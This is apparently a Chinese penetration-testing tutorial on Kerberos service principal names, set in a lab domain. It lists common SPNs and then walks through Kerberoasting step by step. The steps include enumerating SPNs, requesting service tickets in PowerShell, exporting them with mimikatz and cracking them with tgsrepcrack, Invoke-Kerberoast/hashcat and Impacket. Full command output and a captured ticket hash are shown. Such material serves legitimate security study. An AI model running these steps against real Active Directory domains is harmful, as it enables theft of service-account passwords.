Keberos之SPN及其利用

  • A+

Keberos之SPN及其利用

关于SPN

服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。
如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机名称或别名注册 SPN。

SPN 可以分为两种:
注册在域内机器账户(Computers)上
注册在域内用户账户(Users)下

SPN格式与配置

在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中和为必须元素:
<serviceclass>/<host>:<port>/<service name>
<service class>:标识服务类的字符串
<host>:服务所在主机名称
<port>:服务端口
<service name>:服务名称

举例:setspn –A MSSQLSvc/<SQL Server 计算机名称>:1433 <域/帐户>

为sqlsever服务注册SPN

```
C:\Users\Administrator>setspn -A MSSQLSvc/stu1.god.org:1433 younlcs
为 CN=younlcs,OU=dev,DC=god,DC=org 注册 ServicePrincipalNames
MSSQLSvc/stu1.god.org:1433
更新的对象

C:\Users\Administrator>
```

SPN事例

AcronisAgent:针对Acronis备份和数据恢复软件
AdtServer:带有ACS的Microsoft System Center Operations Manager(2007/2012)管理服务器
afpserver:Apple归档协议
AgpmServer:Microsoft高级组策略管理(AGPM)
aradminsvc - 任务主角色服务器
arssvc - 任务主角色服务器
bocms:商业化CMS
BOSSO:商业对象
CESREMOTE:与VMWare上的Citrix VDI解决方案有关,许多VDI工作站都有这个SPN。
cifs:通用Internet文件系统
CmRcService:Microsoft系统中心配置管理器(SCCM)远程控制
CUSESSIONKEYSVR:CiscoUnity VOIP系统
cvs:CVS库
Dfsr :分布式文件系统
DNS:域名服务器
E3514235-4B06-11D1-AB04-00C04FC2DCD2:NTDS DC RPC复制
E3514235-4B06-11D1-AB04-00C04FC2DCD2-ADAM:ADAM实例
EDVR:ExacqVision服务
exchangeAB:Exchange通讯簿服务(通常是支持NSPI的域控制器,也通常是所有的GC)
exchangeMDB:RPC客户端访问服务器角色
exchangeRFR:交换通讯簿服务
fcsvr:Apple FinalCut Server
FileRepService:WSFileRepService.exe
FIMService:MicrosoftForefront标识管理器(FIM)
ftp:文件传输协议
GC:域控制器全局编录服务
HDFS:Hadoop(Ambari)
host:主机服务代表主机。HOSTSPN用于在创建服务票据时访问由Kerberos协议使用长期密钥的主机帐户。
http:支持Kerberos身份验证的http网络服务的SPN
Hyper-V副本服务:MicrosoftHyper-V的副本服务
IMAP:Internet消息访问协议
IMAP4:Internet消息访问协议版本4
ipp:Internet打印协议
iSCSITarget:iSCSI 配置
kadmin:Kerberos
ldap:LDAP服务,如域控制器或ADAM实例。
Magfs:MaginaticsMagFS
mapred:Cloudera
Microsoft虚拟控制台服务:HyperV主机
Microsoft虚拟系统迁移服务:P2V支持(Hyper-V)
mongod:MongoDBEnterprise
mongos:MongoDBEnterprise
MSClusterVirtualServer:Windows群集服务器
MSOLAPSvc:SQLServer分析服务
MSOLAPSvc.3:SQLServer分析服务
MSOLAPDisco.3:SQLServer分析服务
MSOMHSvc:Microsoft系统中心运营经理(2007/2012)管理服务器
MSOMSdkSvc:MicrosoftSystem Center Operations Manager(2007/2012)管理服务器
MSServerCluster:Windows群集服务器
MSServerClusterMgmtAPI:此群集API需要此SPN才能通过使用Kerberos向服务器进行身份验证
MSSQL:Microsoft SQLServer
MSSQLSvc:MicrosoftSQL Server
MSSQL $ ADOBECONNECT:支持Adobe Connect的Microsoft SQL Server
MSSQL $ BIZTALK:MicrosoftSQL Server支持Microsoft Biztalk服务器
MSSQL $ BUSINESSOBJECTS:支持Business Objects的Microsoft SQL Server
MSSQL $ DB01NETIQ:支持NetIQ的Microsoft SQL Server
nfs:网络文件系统
NPPolicyEvaluator:戴尔Quest审计员
NPRepository 4(CHANGEAUDITOR):戴尔Quest Change Auditor
NPRepository4(CAAD):戴尔Quest审核员
NPRepository4(默认):戴尔任务审计员
NtFrs :NT文件复制服务
oracle:OracleKerberos身份验证
pcast:苹果播客制作人
PCNSCLNT:自动密码同步解决方案(MIIS 2003&FIM)
POP:邮箱协议
POP3:邮箱协议版本3
PVSSoap:Citrix ProvisioningServices(7.1)
RestrictedKrbHost:使用服务类字符串等于“RestrictedKrbHost”的 SPN的服务类,其服务凭单使用计算机帐户密钥并共享会话密钥。
RPC:远程过程调用服务
SAP:SAP /SAPService
SAS:SAS服务器
SCVMM:System Center虚拟机管理器
secshd:IBMInfoSphere
sip:会话启动协议
SMTP:简单邮件传输协议
SMTPSVC:简单邮件传输协议
SoftGrid: Microsoft应用程序虚拟化(App-V)以前的“SoftGrid”
STS:VMWare SSO服务
SQLAgent $ DB01NETIQ:NetIQ的SQL服务
tapinego:与路由应用程序相关联,例如Microsoft防火墙(ISA,TMG等)
TERMSRV:Microsoft远程桌面协议服务,又名终端服务。
tnetd:JuniperKerberos身份验证 “Tnetd是一个守护进程,用于路由引擎和数据包转发引擎等不同组件之间的内部通信”
vmrc:Microsoft VirtualServer 2005
vnc:VNC服务器
VPN:虚拟专用网络
VProRecovery Backup Exec系统恢复代理7.0
VProRecovery Backup Exec系统恢复代理8.0
VProRecovery Backup Exec系统恢复代理9.0
VProRecovery诺顿克隆代理12.0
VProRecovery诺顿
克隆代理14.0 VProRecovery诺顿克隆代理15.0
VProRecovery Symantec系统恢复代理10.0
VProRecovery Symantec系统恢复代理11.0
VProRecovery Symantec系统恢复代理14.0
vssrvc:微软虚拟服务器(2005)
WSMAN:Windows远程管理(基于WS-Management标准)服务
xmpp / XMPP:可扩展消息和呈现协议(Jabber)
xgrid:苹果的分布式(网格)计算/ Mac OS X 10.6服务器管理
YARN:ClouderaMapReduce

SPN扫描

作用

通过spn扫描,我们可以得到一些信息,比如说域内哪些主机安装了哪些服务,这样就可以不用再批量的网络端口扫描,相对于普通的网络端口扫描的优点是不用与服务主机建立链接,且隐蔽性更高。

  • 查询域内SPNsetspn -q */*
    ```
    C:\Users\liukaifeng01>setspn -q /
    正在检查域 DC=god,DC=org
    CN=OWA,OU=Domain Controllers,DC=god,DC=org
    TERMSRV/OWA
    TERMSRV/owa.god.org
    ldap/owa.god.org/ForestDnsZones.god.org
    ldap/owa.god.org/DomainDnsZones.god.org
    NtFrs-88f5d2bd-b646-11d2-a6d3-00c04fc9b232/owa.god.org
    Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/owa.god.org
    DNS/owa.god.org
    GC/owa.god.org/god.org
    RestrictedKrbHost/owa.god.org
    RestrictedKrbHost/OWA
    HOST/OWA/GOD
    HOST/owa.god.org/GOD
    HOST/OWA
    HOST/owa.god.org
    HOST/owa.god.org/god.org
    E3514235-4B06-11D1-AB04-00C04FC2DCD2/fef2b3c9-4cec-410a-9d24-baba7891c01
    4/god.org
    ldap/OWA/GOD
    ldap/fef2b3c9-4cec-410a-9d24-baba7891c014._msdcs.god.org
    ldap/owa.god.org/GOD
    ldap/OWA
    ldap/owa.god.org
    ldap/owa.god.org/god.org
    CN=krbtgt,CN=Users,DC=god,DC=org
    kadmin/changepw
    CN=ROOT-TVI862UBEH,CN=Computers,DC=god,DC=org
    HOST/ROOT-TVI862UBEH
    HOST/root-tvi862ubeh.god.org
    CN=stu1,OU=dev,DC=god,DC=org
    RestrictedKrbHost/STU1
    HOST/STU1
    RestrictedKrbHost/STU1.god.org
    HOST/STU1.god.org

发现存在 SPN!
``
一: 一般主机的服务后面会省略两个组件,格式为
/例如:MSSQL/STU1.god.org
二: 如果服务使用非默认端口或者此主机存在多个服务实例的情况下,需要包括端口号或服务名:
MSSQLSvc/STU1.god.org:1433`

  • 在指定域中查询
    spn -T god.org -q */*

  • 查询域内信息
    ```

C:\Users\liukaifeng01>setspn -T god.org -Q / | findstr "ldap"
ldap/owa.god.org/ForestDnsZones.god.org
ldap/owa.god.org/DomainDnsZones.god.org
ldap/OWA/GOD
ldap/fef2b3c9-4cec-410a-9d24-baba7891c014._msdcs.god.org
ldap/owa.god.org/GOD
ldap/OWA
ldap/owa.god.org
ldap/owa.god.org/god.org
```

GetUserSPNs.sp1

使用Kerberoast工具集中的GetUserSPNs.sp1,可以列出可以被使用的spn
```
C:\Users\liukaifeng01\Desktop>powershell.exe Import-module .\GetUserSPNs.ps1

ServicePrincipalName : kadmin/changepw
Name : krbtgt
SAMAccountName : krbtgt
MemberOf : CN=Denied RODC Password Replication Group,CN=Users,DC=go
d,DC=org
PasswordLastSet : 2019/8/24 21:44:23

```

工具集中还有一个GetUserSPNs.vbs是通过弹窗来显示spn的。

PowerView

PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。
```
PS C:\Users\liukaifeng01\Desktop> Import-Module .\PowerView.ps1
PS C:\Users\liukaifeng01\Desktop> Get-NetUser -SPN

objectsid : S-1-5-21-2952760202-1353902439-2381784089-502
iscriticalsystemobject : True
samaccounttype : 805306368
primarygroupid : 513
instancetype : 4
badpasswordtime : 1601/1/1 8:00:00
lastlogoff : 1601/1/1 8:00:00
whenchanged : 2019/8/24 14:15:44
badpwdcount : 0
useraccountcontrol : 514
usncreated : 12324
countrycode : 0
admincount : 1
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=god,DC=org
objectclass : {top, person, organizationalPerson, user}
logoncount : 0
lastlogon : 1601/1/1 8:00:00
serviceprincipalname : kadmin/changepw
adspath : LDAP://CN=krbtgt,CN=Users,DC=god,DC=org
dscorepropagationdata : {2019/8/24 14:16:46, 2019/8/24 14:15:44, 1601/1/1 0:00
:00}
distinguishedname : CN=krbtgt,CN=Users,DC=god,DC=org
cn : krbtgt
pwdlastset : 2019/8/24 21:44:23
objectguid : 546fcebe-6ca2-4bd6-9978-423fbb9b7922
whencreated : 2019/8/24 13:44:23
description : 密钥发行中心服务帐户
samaccountname : krbtgt
showinadvancedviewonly : True
memberof : CN=Denied RODC Password Replication Group,CN=Users,DC=
god,DC=org
accountexpires : 9223372036854775807
usnchanged : 20540
name : krbtgt
codepage : 0

```

Kerberoasting

在Kerberos认证协议流程中, 可参考网上的其他文章,在第四步时,如果解密正确将返回服务hash加密的TGS票据。当我们在获得这个TGS后,我们就可以通过穷举的方式,生成TGS与它进行比较,如果相同,就代表密码正确。

注意事项

  • 当域控查询某一个服务的SPN时

    • 如果该SPN注册在机器账户computers下,将会查询所有机器账户的servicePrincipalName属性,找到所对应的账户。
    • 如果是注册在域用户账户users下,将会查询所有域用户账户的servicePrincipalName属性,找到其所对应的账户。
      找到对应的账户之后,使用它的NTLM hash生成TGS。
  • 域内的所有主机都是可以查询SPN的

  • 域内的任何用户都是可以向域内的任何服务请求TGS

所以,域内的任何一台主机,都可以通过查询SPN,向域内的所有服务请求TGS,然后进行暴力破解,但是对于破解出的明文,只有域用户的是可以利用的,机器账户的不能用于远程连接

所以我们的关注点主要就在域用户下注册的SPN

利用

第一种方法,使用mimikatz

使用GetUserSPNs.ps1来查看可用的SPN,发现一个SQLServer服务。
```
PS C:\Users\younlcs\Desktop> Import-module .\GetUserSPNs.ps1

ServicePrincipalName : kadmin/changepw
Name : krbtgt
SAMAccountName : krbtgt
MemberOf : CN=Denied RODC Password Replication Group,CN=Users,DC=god,DC=org
PasswordLastSet : 2019/8/24 21:44:23

ServicePrincipalName : MSSQLSvc/stu1.god.ord:1433
Name : younlcs
SAMAccountName : younlcs
MemberOf :
PasswordLastSet :

```

在powershell中向该服务请求TGS。

请求指定票据:
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/stu1.god.ord:1433"
请求全部票据:
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T medin.local -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

```

PS C:\Users\younlcs\Desktop> Add-Type -AssemblyNAme System.IdentityModel
PS C:\Users\younlcs\Desktop> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
SSQLSvc/stu1.god.ord:1433"

Id : uuid-3da24fec-fc3b-402e-9ccb-39e4a84e4c92-1
SecurityKeys : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom : 2020/1/16 6:40:04
ValidTo : 2020/1/16 16:40:04
ServicePrincipalName : MSSQLSvc/stu1.god.ord:1433
SecurityKey : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey
Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据。

PS C:\Users\younlcs\Desktop> klist

当前登录 ID 是 0:0x4e47e

缓存的票证: (2)

0> 客户端: liukaifeng01 @ GOD.ORG

    服务器: krbtgt/GOD.ORG @ GOD.ORG
    Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
    票证标志 0x40e00000 -> forwardable renewable initial pre_authent
    开始时间: 1/16/2020 14:40:04 (本地)
    结束时间:   1/17/2020 0:40:04 (本地)
    续订时间: 1/23/2020 14:40:04 (本地)
    会话密钥类型: RSADSI RC4-HMAC(NT)

1> 客户端: liukaifeng01 @ GOD.ORG

    服务器: MSSQLSvc/stu1.god.ord:1433 @ GOD.ORG
    Kerberos 票证加密类型: RSADSI RC4-HMAC(NT)
    票证标志 0x40a00000 -> forwardable renewable pre_authent
    开始时间: 1/16/2020 14:40:04 (本地)
    结束时间:   1/17/2020 0:40:04 (本地)
    续订时间: 1/23/2020 14:40:04 (本地)
    会话密钥类型: RSADSI RC4-HMAC(NT)

```

使用mimikatz将票据导出

后使用kerberoast工具集中的tgsrepcrack.py来爆破服务器密码.
python2 tgsrepcrack.py password.txt 1-40a00000-liukaifeng01@MSSQLSvc~stu1.god.ord~1433-GOD.ORG.kirbi

第二种方法,不使用mimikatz

Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。
使用Invoke-Kerberoast 脚本( Empire 中的 Invoke-Kerberoast.ps1)
Import-module Invoke-Kerberoast.ps1
Invoke-kerberoast -outputformat hashcat |fl

```

PS C:\Users\liukaifeng01\Desktop> import-module .\Invoke-kerberoast.ps1
PS C:\Users\liukaifeng01\Desktop> Invoke-kerberoast -outputformat hashcat |fl

TicketByteHexStream :
Hash : $krb5tgs$23$younlcs$god.org$MSSQLSvc/stu1.god.ord:1433$D4EE77690D7F4D8E888DA9B766A351F5$212
1C1DE29E4B23874B6FF6E10AD14F979E381EC4BB6D846597E327797430F199BFD6163AC56238F7C66E45246AC8F3C5
6D95F432E774216BF2164A91920CD3056EF1265AC7ED4AA45F0EA9B688689D43B15A9D6533EAAC35BA1768BAF70FC5
9F7383BA6C037C868BCC9AD82E484F23C06CBAB822EC798C4191A845433B39C29EC46819E3934FB1676FD0795FD525
B59BAD3334BB7529D240F66422EE9F34F9DED2678627DC04138F5A0AD56A41143AEA8C2A4522D0DB00FEFAD2F63756
C891B21979091BCD245091D971B6E137C4A3CDC0190F2EA32740D2EBF2FCC37C91CBFCA46BB9FA6FAE4DADE6B21BE6
59829C50DD3FD7111CA35CF78F61594E3604F31CB51C106ADA1D5057E7A24EFBB383E2CBBB265E12635A067F847C9C
BE6F3876676FCA0A1E8F9F2180B923050EBFAA794BAD951F57A6DDBC56EC6C12A743C3462AA0ACDC8ECE92EC7BD6FD
1F0D628390DD0BD3C6C84E8182AB6D315D9B3BE3D0D2A21F6B706E001243D3AB95650335C208725DC8C4B68B3A0EE6
D9504B1872E1315896BE2F3EE2C6DDC359888E90C4D4D7357BE8975ED08212E12539A5E90958C913C112371248D530
AB072E583FEBFFAB23E9E984DBA15D7EF634EA871F41DD17573493F3B6DB1032EDAC95FD03DDF880A02749EAF7578E
A8AB3FF2A53133DA513EEA5B4CD8215C4D7B31512932E81DF32EFAB1F762F8847F6BFAAE0C70C4D3FBFCC57465873B
1D12D0C16057326F5783C76A4AA2E01BCCC3D3B394FDD485FB7D0DA40368D82636C7371344620607B1A7C105E9B96C
5B68D543D4E5E12F15F7A7A8BDC8A4A3AA0A0D73D6CAF9356E5B0336C5E1B7567916031608D3E8C8FD28879CE27D0E
95B17A411EBE832FFE0B8B8F542754F05C166244410C85A8D38A44917A500238C2513BBE402E9DDB01D6586C8082C9
4B4BF7EBCAD2616A6E4E533390C6D67EAB71801DBE814DB374782FC80703A73DA667C80CEE803E3D654DABFBCAA7CA
306C02A6AFF92610355CEE88D61D7AC0AC207425498781C26A2D7F27B313128BE040EF35B04279F631C4D52DCC9BAE
5F12FBB8F21DA0EDEC02438952284CC477264F8F56BF9F10A4CF75516E548AA7D5D0D14BF55183F4C3CC214883B0C0
A67EEBA3DD88E70ECD704352E6305EFB084DB6C70B716AFBA78E584826120768A8FB07BA71CE0D4E4FB2D618837177
9EEDB267AF65C2EB01659ADBC2F55F888399AE9AE6AA232677A20C45140D06D46E54C0B860E70D746E9052714F635E
1802C31D4993B15658CD4F4335C9F836892714AC7749F6BADA4ADD7D450082AF0833D60AB76916CCD3B07AC094807B
AB745FAEB0144A30B17EBBC088C413BED3EB0CC70B0E44FCC15946456A8E3105C442C88
SamAccountName : younlcs
DistinguishedName : CN=younlcs,CN=Users,DC=god,DC=org
ServicePrincipalName : MSSQLSvc/stu1.god.ord:1433
```

后使用hashcat64.exe工具进行破解
hashcat64.exe -m 13100 hash.txt password.txt --force
注:hash.txt中去除所有的空格和换行。

方法三,Impacket

使用Impacket工具包中的GetUserSPNs.exe.
注:该工具需要域控ip,以及域中的一个用户名及密码。
GetUserSPNs.exe -request -dc-ip <域控IP> <域名>/<域用户>
输入当前域用户的密码,即可的到票据。
同样使用hashcat对票据进行爆破即可。

参考链接:
https://www.cnblogs.com/wuxinmengyi/p/11601351.html
https://www.freebuf.com/articles/system/196434.html
https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md
https://www.cnblogs.com/wuxinmengyi/p/11601357.html
https://loong716.top/2019/12/28/Kerberoasting.html